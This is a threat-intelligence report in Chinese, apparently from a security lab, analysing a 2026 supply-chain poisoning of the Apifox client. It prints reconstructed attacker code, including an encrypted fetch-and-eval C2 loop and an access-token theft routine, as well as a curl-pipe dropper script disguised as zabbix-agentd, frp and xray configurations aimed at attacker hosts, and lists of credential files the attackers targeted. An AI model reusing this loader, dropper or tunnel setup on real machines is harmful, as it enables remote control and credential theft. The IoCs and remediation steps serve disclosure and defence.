首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >从无差别攻击到APT定向攻击:Apifox供应链投毒攻击链路完整剖析

从无差别攻击到APT定向攻击:Apifox供应链投毒攻击链路完整剖析

作者头像
云鼎实验室
发布2026-04-09 12:32:02
发布2026-04-09 12:32:02
20
举报

一、事件概述

1.1 攻击背景

2026 年 3 月,公网 SaaS 版 Apifox 桌面客户端遭遇了一起精心策划的供应链攻击,攻击者通过篡改 CDN 托管的 JavaScript 文件进行投毒,利用 Electron 渲染进程的 Node.js 接口权限,在 Apifox 客户端初始化阶段加载远程JS脚本时执行恶意代码,实现了远程控制与开发凭证窃取。

本文基于公开 IoC 进行技术分析,结合开源威胁情报、网络空间测绘、主动狩猎、AI代码分析、AI 样本分析等手段,还原攻击者完整攻击链路,并对攻击基础设施、武器工具、隐蔽手法进行分析溯源。

1.2 攻击特征分析

维度

特征值

攻击向量

CDN站点投毒 + Electron安全配置缺陷

攻击目标

开发者办公终端,窃取SSH密钥、Git凭证、K8s配置等高价值资产

基础设施

仿冒域名 + Cloudflare CDN隐匿 + 海外云服务器

攻击工具

Electron C2 + yfrp内网穿透 + rc-agent远控

流量对抗

RSA加密通信 + DNS TXT隐蔽信道 + TLS流量伪装

样本对抗

javascript-obfuscator混淆 + UPX加壳 + Golang代码混淆

生命周期

投毒周期18天(2026/03/04 ~ 03/22),凭证被盗后续影响未知,可能引发二次供应链投毒

攻击者能力

APT级别,具备完整的攻击基础设施与运营能力

1.3 攻击影响

  • 受影响条件: CDN站点投毒期间重新启动、初次启动Apifox客户端的用户,包括Windows、MacOS、Linux客户端
  • 窃取资产: SSH私钥、Git凭证、K8s配置、npm Token、SVN凭证、Shell历史等
  • 潜在风险: 企业内网渗透、代码仓库入侵、云原生环境沦陷
  • 防御难点: CDN站点投毒难以检测、Electron安全配置缺陷、基础设施即弃使用

二、攻击时间线

代码语言:javascript
复制
2026-03-04  ├─ 攻击者上线恶意域名 apifox.it[.]com
            ├─ NS记录指向Cloudflare CDN
            └─ CDN文件开始被投毒

2026-03-04  ├─ 攻击活跃期开始
            ├─ 受感染客户端连接Electron C2服务器
            ├─ 下发Stage-2 v1载荷(collectPreInformations)
            │   └─ 窃取SSH密钥、Git凭证、Shell历史、进程列表
            ├─ 下发Stage-2 v2载荷(collectAddInformations)
            │   └─ 窃取K8s配置、npm Token、SVN凭证、目录结构
            └─ 持续信息窃取与远程控制
                └─ 包括可能下发yfrp隧道穿透工具、rc-agent远控建立持久化后门

2026-03-22  └─ C2域名 apifox.it.com DNS解析下线
2026-03-25  └─ 2Libra社区用户发布Apifox投毒预警
2026-03-25  └─ Apifox官方发布《关于 Apifox 公网 SaaS 版外部 JS 文件受篡改的风险提示与升级公告》

攻击持续时间: 约18天(2026-03-04 至 2026-03-22)

三、Apifox CDN站点投毒分析

3.1 Electron客户端分析

Apifox客户端基于Electron框架v37.7.0版本打包,因主进程 app/dist/main/main.js 编译为 bytenode jsc字节码文件,无法判断其是否关闭沙盒 nodeIntegration: true ,但通过对渲染进程 app/dist/renderer/index.html 文件的分析,证实渲染进程具备完整的Node.js和Electron API访问权限:

代码语言:javascript
复制
<!-- 162行: 远程CDN脚本加载 -->
<script src="https://cdn.apifox[.]com/www/assets/js/apifox-app-event-tracking.min.js" defer="defer"></script>

<script>
// 336-340行: 直接require Electron模块
const electron = require('electron');
const webUtils = electron.webUtils;

// 354-356行: 使用@electron/remote获取主进程窗口对象
const remote = window.require('@electron/remote');
const win = remote.getCurrentWindow();

// 370行: 访问Node.js原生模块
const osVersion = require('os')?.release();

// 399行: 使用IPC与主进程通信
require('electron').ipcRenderer.send('WindowAction.EnsureWindowUnMaximize');
</script>

该JS文件原为Apifox客户端事件追踪SDK,用于接入Google Analytics、某度统计、某云SLS、PostHog等数据统计SDK。

投毒域名 ⁠cdn.apifox[.]com⁠ 域名托管在CDN服务商,该服务商并非纯自建CDN节点,而是结合自建CDN、多家主流云厂商(包括公有云、电信运营商及专业CDN服务商)作为融合CDN,目标域名 ⁠cdn.apifox[.]com⁠ 经过该CDN服务商的DNS调度最终分配到某云厂商加速CDN,DNS解析链路如下:

层级

CNAME记录

调度方

1

cdn.apifox.com

用户请求入口

2

cdn-apifox-com-idvn0mo.qin**dns.com

某CDN服务商 DNS调度

3

chinacdnv6.idvqvsd.qin**dns.com

某CDN服务商 DNS调度

4

opencdnqin**staticv6.a.b**dns.com

某云CDN

5

opencdnqin**staticv6.j**odns.com

某云CDN

6

CDN节点IP

CDN边缘节点

CDN 节点回源地址为某云存储桶 ⁠apifox-cdn.oss-cn-hangzhou.a***ncs[.]com⁠ ,存储桶的 ⁠www/⁠ 路径配置了镜像回源,镜像回源地址未知。

攻击者在 apifox-app-event-tracking.min.js 文件代码中植入了一段 javascript-obfuscator 混淆的恶意JavaScript代码,事件曝光时CDN站点投毒JS文件已恢复正常,事后通过Web Archive找到被投毒版本的快照(快照时间:UTC 2026-03-05 05:14:18):

https://web.archive.org/web/20260305051418/https://cdn.apifox[.]com/www/assets/js/apifox-app-event-tracking.min.js

攻击者利用 Electron 不安全配置缺陷,通过CDN站点投毒的方式在 https://cdn.apifox[.]com/www/assets/js/apifox-app-event-tracking.min.js 文件中注入恶意代码 → 渲染进程加载并执行 → 恶意代码获得完整的Node.js运行环境访问权限 → 执行任意系统命令、窃取敏感文件、建立后门通道。

目前官方并未公开CDN站点投毒攻击原因,结合多台失陷终端 DNS 日志进行分析,在 2026-03-04 ~ 03-22 期间请求 cdn.apifox[.]com 的同时会伴随着请求 apifox.it[.]com 恶意域名,多个地区CDN边缘节点都命中了投毒文件,而非原文章提及的有几率命中投毒文件,可以排除网络劫持攻击的可能性。

因此推断Apifox投毒链路可能包括两家云 CDN 接管、OSS 存储桶投毒、OSS 镜像回源源站投毒 等失陷场景,考虑 Apifox 静态资源源站投毒可能性最大。

3.2 Electron C2通信机制

通过AI大模型对 JavaScript 混淆代码进行分析解读还原恶意代码逻辑,基于还原后的代码逻辑对投毒代码进行进一步分析。

攻击者精心设计了 C2 域名伪装策略,实现域名隐藏与流量混淆:

分析维度

分析特征

域名伪装

apifox.it[.]com

TLD欺骗

.it.com 商业域名,注册于Namecheap域名商,具有高度伪装性

WHOIS

无公开信息,完全隐藏所有者身份

CDN隐匿

Cloudflare CDN

源站托管

13.192.121[.]27 (日本AWS)

生命周期

18天 (2026/03/04 ~ 2026/03/22),事件曝光即下线

该域名具备典型的 APT 级攻击特征:品牌仿冒 + 隐蔽注册 + CDN 隐匿 + 境外托管 + 即弃使用。

在通信流程上,采用多阶段载荷加载机制:

Stage-1 ( Heartbeat 心跳 ):

URL: https://apifox.it[.]com/public/apifox-event.js

功能: header携带环境信息上报心跳,返回加密JS内容,解密后动态创建<script>标签加载Stage-2

Stage-2 ( Payload 载荷 ):

URL: https://apifox.it[.]com/<随机8位hex>.js

特点: Payload URL 一次性有效,用于执行二阶段恶意 Payload,如凭证窃取模块 collectPreInformations 、 collectAddInformations

Electron C2 所有 http 请求响应基于 RSA-2048 私钥实现双向加密通信:

代码语言:javascript
复制
// 内嵌的 RSA 私钥
constPRIVATE_KEY=`-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDOPeHTeyrblELD
...
-----END PRIVATE KEY-----`;

// 客户端加密外发数据
functionrsaEncrypt(plaintext){
return crypto.privateEncrypt(
{ key:PRIVATE_KEY, padding: crypto.constants.RSA_PKCS1_PADDING},
        Buffer.from(plaintext,'utf8')
).toString('base64');
}

// 解密C2下发的载荷
functionrsaDecrypt(encryptedBase64){
// 按256字节分块解密
for(let i =0; i < encryptedBuffer.length; i +=256){
        chunks.push(
            crypto.privateDecrypt(
{ key:PRIVATE_KEY, padding: crypto.constants.RSA_PKCS1_OAEP_PADDING},
                encryptedBuffer.slice(i, i +256)
)
);
}
return Buffer.concat(chunks).toString('utf8');
}

3.3 信息收集与指纹生成

指纹生成机制:收集受害机器 5 个维度的硬件/系统信息,拼接后进行 SHA-256 哈希生成唯一机器标识 af_uuid。

维度

收集内容

用途

MAC地址

第一个非内部、非全0的网卡地址

物理设备标识

CPU型号

os.cpus()[0].model

硬件特征

主机名

os.hostname()

网络标识

用户名

os.userInfo().username

用户身份

操作系统

os.type()

系统类型

恶意代码使用 localStorage 缓存收集的信息,避免重复系统调用:

localStorage键名

存储内容

用途

_rl_mc

SHA-256机器指纹

避免重复计算指纹

_rl_headers

JSON格式的完整信息头

减少系统调用开销

Electron 使用 LevelDB 作为 localStorage 后端存储,Apifox客户端 leveldb 目录路径如下,可通过检索 leveldb 目录文件中的 _rl_mc 和 _rl_headers 等特征,快速识别系统是否被投毒感染:

操作系统

Leveldb存储路径

macOS

~/Library/Application Support/apifox/Local Storage/leveldb/

Windows

C:\Users\<用户名>\AppData\Roaming\apifox\Local Storage\leveldb\

Linux

~/.config/apifox/Local Storage/leveldb/

3.4 Apifox用户信息窃取

恶意代码通过 apifox 接口获取用户邮箱地址及用户名,若用户注册邮箱为企业员工邮箱,攻击者可锁定目标企业 Apifox 失陷终端下发二阶段载荷,从而实现定向APT攻击。

代码语言:javascript
复制
asyncfunctiongetApifoxHeaders(){
// 从localStorage窃取登录token
const accessToken = localStorage.getItem('common.accessToken');

// 调用Apifox官方API获取用户信息
const response =awaitfetch('https://api.apifox[.]com/api/v1/user',{
        headers:{'authorization': token }
});

const data =await response.json();

return{
'af_apifox_user':rsaEncrypt(data.data.email),
'af_apifox_name':rsaEncrypt(data.data.name)
};
}

3.5 攻击链与执行流程

完整执行流程

代码语言:javascript
复制
┌─────────────────────────────────────────────────────────────┐
│  1. 初始化阶段                                                │
├─────────────────────────────────────────────────────────────┤
│  Apifox启动 → 加载CDN JS → 执行恶意代码 → 立即调用            │
│  loadAndExecute()                                            │
└─────────────────────────────────────────────────────────────┘
│
↓
┌─────────────────────────────────────────────────────────────┐
│  2. 信息收集阶段                                              │
├─────────────────────────────────────────────────────────────┤
│  getBaseHeaders() → 检查缓存                                 │
│       ↓ (无缓存)                                             │
│  生成机器指纹 (MAC+CPU+主机名+用户名+OS) → SHA-256哈希         │
│       ↓                                                      │
│  持久化到 localStorage (_rl_mc, _rl_headers)                 │
│       ↓                                                      │
│  getApifoxHeaders() → 窃取token → 调用官方API获取用户信息      │
│       ↓                                                      │
│  构建 headers (af_uuid, af_os, af_user, af_name,             │
│               af_apifox_user, af_apifox_name)                │
└─────────────────────────────────────────────────────────────┘
│
↓
┌─────────────────────────────────────────────────────────────┐
│  3. C2通信阶段                                                │
├─────────────────────────────────────────────────────────────┤
│  fetch(REMOTE_JS_URL, { headers })                           │
│       ↓                                                      │
│  获取RSA加密的响应体                                          │
│       ↓                                                      │
│  rsaDecrypt(encryptedCode) → 按256字节分块解密                │
│       ↓                                                      │
│  eval(decryptedCode) ⚠️ 执行任意NodeJS代码                    │
└─────────────────────────────────────────────────────────────┘
│
↓
┌─────────────────────────────────────────────────────────────┐
│  4. 持久化循环                                                │
├─────────────────────────────────────────────────────────────┤
│  finally { scheduleNext() }                                  │
│       ↓                                                      │
│  setTimeout(loadAndExecute, randomInterval)                  │
│       ↓                                                      │
│  30分钟~3小时后重复执行...                                    │
└─────────────────────────────────────────────────────────────┘

通过 Electron C2 服务端返回的 JavaScript 代码,攻击者可以:

1. 执行任意 Node.js 代码(eval(decryptedCode))

2. 读取本地任意文件(Node.js fs 模块)

3. 执行系统命令(Node.js child_process 模块)

4. 建立反向Shell

5. 下载并执行其他恶意软件(如 yfrp隧道穿透 、rc-agent远控 )

四、Electron C2 二阶段载荷分析

从捕获的二阶段Payload中分析发现,恶意模块代码风格极为规范、且存在大量中文注释,由此判断是在中文环境下通过AI生成的恶意代码。

4.1 Stage-2(collectPreInformations 模块)

上传端点: https://apifox.it[.]com/event/0/log

窃取内容

平台

窃取内容

攻击价值

全平台

~/.ssh/*

SSH私钥、公钥、config、known_hosts

macOS/Linux

~/.zsh_history, ~/.bash_history

Shell历史命令(可能包含密码、密钥)

macOS/Linux

~/.git-credentials

Git凭证(代码仓库访问权限)

macOS/Linux

ps aux

进程列表(识别安全软件、开发环境)

Windows

tasklist

进程列表(识别安全软件、开发环境)

4.2 Stage-2(collectAddInformations 模块)

上传端点: https://apifox.it[.]com/event/2/log

窃取内容

类别

内容

攻击价值

环境配置

~/.zshrc, ~/.npmrc

Shell配置、npm配置(可能包含私有仓库token)

云原生

~/.kube/*

Kubernetes完整配置(kubeconfig、证书、密钥)

版本控制

~/.subversion/*

SVN凭证完整目录(auth、config、servers)

目录结构

多平台差异化扫描

递归扫描关键目录,识别高价值目标

平台差异化窃取

操作系统

扫描目录

扫描深度

特殊行为

Windows

~/, ~/Desktop, ~/Documents

深度2层递归

扫描 D:, E:, F:\ 盘符根目录

Linux

~/, ~/Desktop

深度2层递归

-

macOS

~/

仅1层目录

权限限制,扫描最保守

4.3 未知载荷动态执行能力

Electron C2的核心能力是动态执行HeartBeat心跳阶段返回的恶意代码,除了已知的凭证窃取模块,其他恶意模块并不清楚。

代码语言:javascript
复制
async function loadAndExecute() {
    const response = await fetch(REMOTE_JS_URL, { headers });
    const encryptedCode = (await response.text()).trim();
    const decryptedCode = rsaDecrypt(encryptedCode);
    eval(decryptedCode);  // 任意代码执行
}

攻击者可以下发任意NodeJS代码在受害者机器上执行,从公开的IoC可以观察到攻击者的其他攻击链路,但已知IoC之间无法直接关联,仅供参考:

  • 植入yfrp程序建立反向穿透隧道,用于访问企业内网
  • 植入rc-agent远控持续控制受害机器,窃取目标机器文件
  • 更多定制化攻击

五、yfrp内网代理样本分析

基于公开IoC特征 upgrade.feishu.it[.]com 进行深入狩猎,发现其为 frp 基础设施,用于建立内网穿透通道访问受害者内网。

根据特征关联及测绘找到了攻击者所有 frp 基础设施,包括frps服务端、frp管理控制面板、二进制文件下载站等CDN源站。

根据观测情况判断,并非所有Apifox失陷终端会植入yfrp内网穿透工具,攻击者会根据收集的Apifox信息及凭证密钥进行判断,针对定向目标进行持久化攻击,建立穿透隧道访问企业内网代码仓库、服务器资源。

5.1 基础设施架构

类型

域名

CDN托管

源站

地理位置

观测解析时间

frp 回连

upgrade.feishu.it[.]com

-

3.112.191[.]69

日本AWS

2025-06-19

frp 回连

upgrade.feishu.it[.]com

-

139.224.226[.]131

日本AWS

2026-03-11

frp 回连

upgrade.feishu.it[.]com

-

54.46.127[.]58

日本AWS

2026-03-14

frp 文件下载

d.feishu.it[.]com

AWS CDN

d1jz8lld0icpmp.cloudfront[.]net

-

2025-02-05

frp 文件下载

d.feishu.it[.]com

-

139.224.226[.]131

上海某云

2026-03-11

frp 文件下载

d.feishu.it[.]com

-

54.46.127[.]58

香港AWS

2026-03-13

frp 文件下载

d.feishu.it[.]com

-

3.112.191[.]69

日本AWS

2026-03-24

frp 控制面板前端

panel.feishu.it[.]com

Cloudflare CDN

front-3jn.pages[.]dev

-

2025-03-06

frp 控制面板后端

api.feishu.it[.]com

Cloudflare CDN

-

-

2026-02-11

5.2 yfrp客户端样本

下载地址: https://d.feishu.it[.]com/release/frpc_{os}_{arch}

5.2.1 frpc客户端文件样本

据威胁情报观测,攻击者曾多次版本迭代编译frpc多平台样本,以下仅为部分样本IoC:

文件名

平台

架构

MD5

frpc_darwin_amd64

macOS

x86_64

636dd7bcb61755a06b448dfc01005a61

frpc_darwin_arm64

macOS

ARM64

4d532da90ef9803f992bb08bb7f37127

frpc_linux_386

Linux

x86

c435b4b279edb11b9bffd927e7e79a2f

frpc_linux_amd64

Linux

x86_64

9f4e56461c2f19ceeee17d1b5f32915a

frpc_linux_arm_5

Linux

ARMv5

66e02c485896eaf9ce3e62d258be9fce

frpc_linux_arm_7

Linux

ARMv7

66e02c485896eaf9ce3e62d258be9fce

frpc_linux_arm64

Linux

ARM64

e130a0895a26236b879a64c181e2586c

frpc_freebsd_amd64

FreeBSD

x86_64

1b8e80673fd49d4f5dd80e30668f00f4

yrp_386.deb

Linux

x86

15f6cf5f6b52d6caf1bb93644d7fae0e

yrp_386.rpm

Linux

x86

1d5ecd9d11392c362922b634a5b1e447

yrp_amd64.deb

Linux

x86_64

bd5fb50e9b86d2013d84451793acf5bf

yrp_amd64.rpm

Linux

x86_64

c04994b916383d6036934e35d6fea8f5

5.2.2 二进制逆向分析(Linux amd64样本)

通过对 frpc_linux_amd64 样本的深度逆向分析,提取了完整的编译信息,确认该样本基于frp进行二次开发,通过GitHub Actions进行多平台编译。

属性

项目名称

yfrp (二开项目)

原项目名称

github.com/fatedier/frp

构建服务器

GitHub Actions Runner

编译目录

/home/runner/work/yfrp/yfrp/

编译时间

2026-03-04T09:47:12Z

5.2.3 frpc配置提取分析

通过对frpc客户端二进制文件的逆向分析,成功提取了以下文件:

文件名

用途

MD5

frpc.toml

FRP客户端配置模板

9b75769f5588e45039d30672138cc2e8

ca.crt

CA根证书

dde93cfc2fbc87be1c0f0f018658512e

client.crt

客户端证书

e231e5dd1d619675d3dfbbc2861f0fda

client.key

客户端私钥

485aedd76580e7e0c6e2b743dc0709c1

frpc.toml模板配置如下,其中%s为占位符,用于替换系统用户名和随机密钥,frp回连地址为 wss://upgrade.feishu.it[.]com:443

代码语言:javascript
复制
serverAddr ="upgrade.feishu.it[.].com"
serverPort = 443
transport.protocol = "wss"
transport.tls.certFile = "client.crt"
transport.tls.keyFile = "client.key"
transport.tls.trustedCaFile = "ca.crt"
log.to = "close"
user = "%s"

[[proxies]]
name = "admin"
type = "stcp"
sk = "%s"
[proxies.plugin]
type = "admin_api"

5.3 yfrp控制面板

通过逆向分析frp面板 https://panel.feishu.it[.]com 前端JS代码,定位到后端API地址为 https://api.feishu.it[.]com 。

frp面板为攻击者自研开发,采用数字货币加密钱包签名认证机制,通过 Wagmi 框架实现完整的钱包连接流程,仅白名单内的钱包地址签名认证才能登录,面板具备完整的用户管理和代理管理功能:

API端点

方法

功能

/users

GET

获取在线终端列表

/clients/offline

GET

获取离线终端列表

/users/nick_name

POST

更新终端备注

/users/{username}

DELETE

删除终端

/proxies

GET

获取代理列表

/proxies/socks5

POST

添加SOCKS5代理

/proxies/static_file

POST

添加文件系统代理

/server_info

GET

获取服务器状态

/get_ip_port

GET

获取回连IP和端口

/get_download_url

GET

获取客户端下载链接

由此判断攻击者完整操作流程如下:

代码语言:javascript
复制
连接加密钱包 → 签名认证 → 获取管理权限
    ↓
查看用户列表 → 筛选高价值目标(主机名、IP、操作系统)
    ↓
为目标创建代理隧道(SOCKS5/STCP/文件系统)
    ↓
复制访问命令 → 连接frp隧道 → 访问受害者内网资源

六、rc-agent C2远控样本分析

基于公开IoC特征 cdn.openroute[.]dev 、 ns.feishu.it[.]com 、 system.toshinkyo.or[.]jp 进行深入狩猎,发现其为 rc-agent(Remote Control Agent) C2远控基础设施,用于持续控制Apifox受害者机器。

rc-agent C2上线时间较短,经事件曝光后已下线相关基础设施及域名解析,目前观察所影响机器较少。

6.1 基础设施架构

分类

域名

CDN托管

源站/解析记录

地理位置

观测解析时间

C2文件下载

cdn.openroute[.]dev

Cloudflare CDN

35.73.118[.]14

日本AWS

2026-03-18

C2域名

ns.openroute[.]dev

-

TXT记录(加密C2地址)

-

2026-03-18

C2域名

ns.feishu.it[.]com

-

TXT记录(加密C2地址)

-

2026-03-25

C2服务器

system.toshinkyo.or[.]jp

-

13.192.249[.]162

日本AWS

2026-03-18

6.2 rc-agent远控植入脚本

根据狩猎到的Linux远控植入脚本 https://cdn.openroute[.]dev/scripts/upgrade.sh 进行分析,该脚本高度符合AI代码风格特征,以下为部分代码逻辑:

代码语言:javascript
复制
#!/bin/bash
# Remote Control Agent - Binary Upgrade Script (No root required)
# Downloads the latest agent binary and runs it in background
# Usage: curl -fsSL https://cdn.openroute.dev/scripts/upgrade.sh | bash

CDN_BASE="http://cdn.openroute.dev"
SERVICE_NAME="zabbix-agentd"

# Detect OS and architecture
OS=$(uname -s | tr '[:upper:]' '[:lower:]')
ARCH=$(uname -m)

BINARY_NAME="rc-agent-${OS}-${ARCH}"

# Download binary to /tmp/.zabbix-agentd-{timestamp}
TMP_FILE="/tmp/.${SERVICE_NAME}-$(date +%Y%m%d%H%M%S)"

# Run in background with nohup
curl -fsSL "${CDN_BASE}/releases/${BINARY_NAME}" -o "$TMP_FILE"
chmod755"$TMP_FILE"
nohup"$TMP_FILE"> /dev/null 2>&1&

6.3 rc-agent远控样本文件

下载地址: http://cdn.openroute[.]dev/releases/rc-agent-{os}-{arch}

文件名

平台

架构

MD5

rc-agent-darwin-amd64

macOS

x86_64

b04257d2a9a916ce1cfd6a6818022f5c

rc-agent-darwin-arm64

macOS

ARM64

2aa450a62912e40c1f90e0486d34c829

rc-agent-linux-amd64

Linux

x86_64

f812befe5574fe103b8303a0e9c9c72a

rc-agent-linux-arm64

Linux

ARM64

2bbaabc49830d2b56c29ba6df8d5e3e4

rc-agent-windows-amd64.exe

Windows

x86_64

6ca3722fcd1ce571ed1f438058db8701

6.4 rc-agent C2逆向分析

针对样本 rc-agent-windows-amd64.exe 逆向分析,样本采用UPX加壳 + Golang代码混淆,C2域名配置为 ns.openroute.dev,ns.feishu.it.com,采用两阶段通信机制:

阶段一:DNS TXT初始化C2

ns.openroute.dev、ns.feishu.it.com 域名TXT解析记录内容如下,用于初始化获取加密实际通讯的C2 IP:

代码语言:javascript
复制
/7Rui2YTkx91Goi/Lv4yrIGPpWHVZkHkotI1P0Ey7fgCrOsdRt0fj8LAMsaJ5UaKRIxUYZe652FHFdAfuAbbvMBajh30TNmaFskrNe8uLxBZaNZHV8+0TxwD4OEXDhuObt40e4cWp6SYE9xVF9s=

阶段二:VLESS+REALITY隐蔽通信

经逆向分析,rc-agent C2 基于 github.com/XTLS/xray-core 项目实现,采用 VLESS + REALITY 协议组合进行隐蔽通信,木马动态调试提取到的 xray-core 配置如下:

代码语言:javascript
复制
{
"log":{"loglevel":"none"},
"outbounds":[{
"protocol":"vless",
"settings":{
"vnext":[{
"address":"13.192.249.162",
"port":443,
"users":[{
"encryption":"none",
"flow":"",
"id":"af53e352-919c-4db0-9f7a-2a85bc977821"
}]
}]
},
"streamSettings":{
"network":"tcp",
"realitySettings":{
"fingerprint":"chrome",
"publicKey":"E-wRzXpIL97zzC3PQUBgutslJy2a2kuvat4lpFq4znQ",
"serverName":"system.toshinkyo.or.jp",
"shortId":"a27fbeba"
},
"security":"reality"
}
}]
}

木马同时配置了IPv6双栈通信,地址为 2406:da14:5d7:4520:e3b9:a2b2:c758:f1e6

关键配置参数

参数

作用

address

13.192.249[.]162 / 2406:da14:5d7:4520:e3b9:a2b2:c758:f1e6

C2服务器双栈通信

port

443

HTTPS端口

serverName

system.toshinkyo.or.jp

伪装SNI域名(日本某机构真实域名)

fingerprint

chrome

客户端TLS指纹模拟Chrome浏览器

REALITY协议特性:xray-core 推出的新型安全传输协议,无需域名和TLS证书,通过模拟真实TLS握手实现流量伪装,具备抗指纹识别、前向保密、防证书链攻击等安全特性。

七、总结

7.1 APT狩猎与溯源分析

本次Apifox供应链投毒攻击事件展现了攻击者APT级别的攻击能力,本文基于2Libra社区公开IoC特征进行扩展关联分析,完整还原了攻击链路和基础设施架构,发现攻击者构建了三层基础设施架构:Electron C2负责初始入侵和凭证窃取、yfrp内网穿透建立持久化隧道、rc-agent远控实现持续控制,从无差别供应链攻击到定向目标持久化攻击。

攻击者采用多重隐蔽技术实现流量伪装和反溯源。通信层面,Electron C2使用RSA-2048加密通信,rc-agent采用DNS TXT隐蔽信道初始化C2地址,配合VLESS+REALITY协议实现TLS流量伪装;所有攻击基础设施均托管在日本AWS、Cloudflare CDN等境外平台,通过域名仿冒、CDN隐匿、基础设施即弃使用降低暴露风险,事件曝光后迅速下线。

攻击者在武器化开发过程中大量使用AI辅助开发,如Electron C2平台、yfrp控制面板、rc-agent远控木马等多平台适配武器工具,样本采用UPX加壳、Golang代码混淆对抗逆向分析。

根据多维度样本分析,从开发环境信息及注释内容判断此次Apifox供应链攻击事件为境内黑客所为,攻击者唯一暴露了一次上海 某云 IP,为真实身份溯源埋下伏笔。

7.2 AI 辅助分析方法

在本次威胁狩猎过程中,AI技术发挥了关键作用。通过AI大模型对javascript-obfuscator混淆代码进行语义分析,成功还原了恶意代码的完整逻辑,包括RSA加密通信、多阶段载荷加载、凭证窃取模块等核心功能,大幅降低了逆向分析门槛。

同时,在rc-agent二进制样本分析过程中,采用了IDA Pro MCP进行AI辅助二进制分析,对UPX加壳、Golang代码混淆后的样本进行反编译和逻辑还原,进一步提取C2配置和通信协议细节。

AI辅助分析不仅提升了分析效率,更在理解攻击者意图、识别攻击模式、关联威胁情报等方面提供了重要支撑,体现了AI在安全运营和威胁狩猎中的实战价值。

八、IoC失陷指标

8.1 网络IoC

类型

说明

C2 域名

apifox.it[.]com

Electron C2主域名

源站 IP

13.192.121[.]27

日本AWS,Electron C2源站

frp 回连

upgrade.feishu.it[.]com

FRP客户端回连服务器

frp 下载

d.feishu.it[.]com

frpc客户端下载地址

frp 面板

panel.feishu.it[.]com, api.feishu.it[.]com

FRP控制面板前后端

frp 面板源站

front-3jn.pages[.]dev

Cloudflare Pages

frp CDN

d1jz8lld0icpmp.cloudfront[.]net

AWS CloudFront

frp 源站 IP

3.112.191[.]69, 139.224.226[.]131, 54.46.127[.]58

FRP客户端回连IP

rc-agent 下载

cdn.openroute[.]dev

rc-agent下载

rc-agent 源站IP

35.73.118[.]14

rc-agent下载CDN源站

rc-agent C2

ns.openroute[.]dev, ns.feishu.it[.]com

rc-agent TXT解析,加密C2地址

rc-agent 通讯IP

system.toshinkyo.or[.]jp

rc-agent C2服务器域名

rc-agent 通讯IP

13.192.249[.]162

rc-agent C2服务器(IPv4)

rc-agent 通讯IP

2406:da14:5d7:4520:e3b9:a2b2:c758:f1e6

rc-agent C2服务器(IPv6)

8.2 木马样本IoC

样本类型

文件名

MD5

yfrp客户端

frpc_darwin_amd64

636dd7bcb61755a06b448dfc01005a61

yfrp客户端

frpc_darwin_arm64

4d532da90ef9803f992bb08bb7f37127

yfrp客户端

frpc_linux_386

c435b4b279edb11b9bffd927e7e79a2f

yfrp客户端

frpc_linux_amd64

9f4e56461c2f19ceeee17d1b5f32915a

yfrp客户端

frpc_linux_arm_5

66e02c485896eaf9ce3e62d258be9fce

yfrp客户端

frpc_linux_arm_7

66e02c485896eaf9ce3e62d258be9fce

yfrp客户端

frpc_linux_arm64

e130a0895a26236b879a64c181e2586c

yfrp客户端

frpc_freebsd_amd64

1b8e80673fd49d4f5dd80e30668f00f4

yfrp安装包

yrp_386.deb

15f6cf5f6b52d6caf1bb93644d7fae0e

yfrp安装包

yrp_386.rpm

1d5ecd9d11392c362922b634a5b1e447

yfrp安装包

yrp_amd64.deb

bd5fb50e9b86d2013d84451793acf5bf

yfrp安装包

yrp_amd64.rpm

c04994b916383d6036934e35d6fea8f5

frpc 配置

frpc.toml

9b75769f5588e45039d30672138cc2e8

frpc 证书

ca.crt

dde93cfc2fbc87be1c0f0f018658512e

frpc 证书

client.crt

e231e5dd1d619675d3dfbbc2861f0fda

frpc 证书

client.key

485aedd76580e7e0c6e2b743dc0709c1

rc-agent

rc-agent-darwin-amd64

b04257d2a9a916ce1cfd6a6818022f5c

rc-agent

rc-agent-darwin-arm64

2aa450a62912e40c1f90e0486d34c829

rc-agent

rc-agent-linux-amd64

f812befe5574fe103b8303a0e9c9c72a

rc-agent

rc-agent-linux-arm64

2bbaabc49830d2b56c29ba6df8d5e3e4

rc-agent

rc-agent-windows-amd64.exe

6ca3722fcd1ce571ed1f438058db8701

8.3 Apifox客户端失陷IoC

Apifox用户可在LevelDB目录二进制文件搜索关键字 _rl_mc, _rl_headers 进行失陷排查,Electron C2在凭证窃取环节不会落地文件,终端侧只能根据localStorage特征作为判断依据:

检测项

特征值/路径

macOS 路径

~/Library/Application Support/apifox/Local Storage/leveldb/

Windows路径

C:\Users\<用户名>\AppData\Roaming\apifox\Local Storage\leveldb\

Linux 路径

~/.config/apifox/Local Storage/leveldb/

九、应急处置建议

若确认失陷,需立即轮换以下泄露凭证:

泄露凭证

应急处置措施

SSH 密钥

删除并重新生成密钥对,更新服务器 authorized_keys

Git 凭证

撤销 ~/.git-credentials token,更新GitHub/GitLab访问令牌

K8s 配置

撤销kubeconfig证书,联系管理员轮换凭证,审计API访问日志

npm Token

撤销npmjs.com token,更新私有仓库访问凭证

SVN 凭证

删除 ~/.subversion/auth/ 凭证,更新服务器密码

Shell 历史

检查历史命令中的明文密码,立即修改相关账户密码

环境配置

检查Shell配置文件中的API Key/Secret,轮换泄露凭证

参考链接

  • https://2libra.com/post/network-security/8HvXoR_
  • https://rce.moe/2026/03/25/apifox-supply-chain-attack-analysis/
  • https://www.leavesongs.com/PENETRATION/apifox-supply-chain-attack-analysis.html
  • https://docs.apifox.com/8392582m0
图片
图片

END

更多精彩内容点击下方扫码关注哦~

关注云鼎实验室,获取更多安全情报

图片
图片
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-04-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 云鼎实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.1 攻击背景
  • 1.2 攻击特征分析
  • 1.3 攻击影响
  • 二、攻击时间线
  • 三、Apifox CDN站点投毒分析
    • 3.1 Electron客户端分析
    • 3.2 Electron C2通信机制
    • 3.3 信息收集与指纹生成
    • 3.4 Apifox用户信息窃取
    • 3.5 攻击链与执行流程
  • 四、Electron C2 二阶段载荷分析
    • 4.1 Stage-2(collectPreInformations 模块)
      • 窃取内容
